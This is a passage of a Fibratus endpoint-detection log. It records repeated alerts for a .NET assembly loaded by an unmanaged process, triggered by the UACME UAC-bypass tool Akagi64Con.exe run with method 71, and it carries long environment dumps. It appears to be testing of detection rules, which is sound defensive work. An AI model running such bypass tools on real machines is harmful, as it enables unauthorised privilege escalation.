ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022529 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8901493 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022529 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8901493 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, tactic.id: TA0005 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022554 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8953462 +0100 CET + Params: base_address➜ 7ffcbbc30000, checksum➜ 0, default_address➜ 7ffcbbc30000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files 